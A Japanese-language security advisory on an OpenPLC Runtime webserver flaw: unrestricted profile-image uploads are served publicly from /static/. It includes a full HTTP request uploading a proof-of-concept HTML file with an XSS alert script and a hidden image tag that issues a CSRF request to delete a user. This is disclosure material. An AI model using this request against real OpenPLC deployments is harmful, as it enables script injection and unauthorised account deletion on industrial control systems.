
認証済みユーザーは、OpenPLC Runtime のプロフィール画像として任意のファイル(例: .html、.svg)をアップロードできます。これらのファイルは認証なしで一般公開されるため、保存型XSSや悪意のあるコンテンツの配信が可能になります。
OpenPLC Runtime webserver(リリース版: 2024-12-31)に脆弱性を発見しました。認証済みユーザーがプロフィール画像として任意のファイル(例: .html、.svg)をアップロードできることを可能にします。これらのファイルは /static/ ディレクトリに保存され、認証なしでアクセス可能となるため、格納型XSSや悪意のあるコンテンツのホスティングといったシナリオが発生し得ます。
/edit-user.html または .svg ファイルをアップロードします。/static/ に保存され、予測可能なIDが付与されます(例: http://localhost:8080/static/336029.html)。
.html ファイルのアップロード

/static/ から実行されたアップロードファイル
基本 PoC デモ
poc de base.mp4
未認証アクセスのデモンストレーション
unauthenticated.mp4
CSRF PoC
poc csrf.mp4
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"
10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"
OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"
openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"
[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"
mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>PoC – Unfiltered Upload</title>
</head>
<body>
<h1>Proof of Concept</h1>
<p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>
<h2>XSS Demo (auto-executed)</h2>
<script>alert('PoC xss')</script>
<h2>CSRF</h2>
<img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />
<h2>document.domain</h2>
<p>Opened from: <script>document.write(document.domain)</script></p>
<h2>Manual link to malicious HTML</h2>
<a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>
------WebKitFormBoundaryW3GoLRyFS7dyLS2B--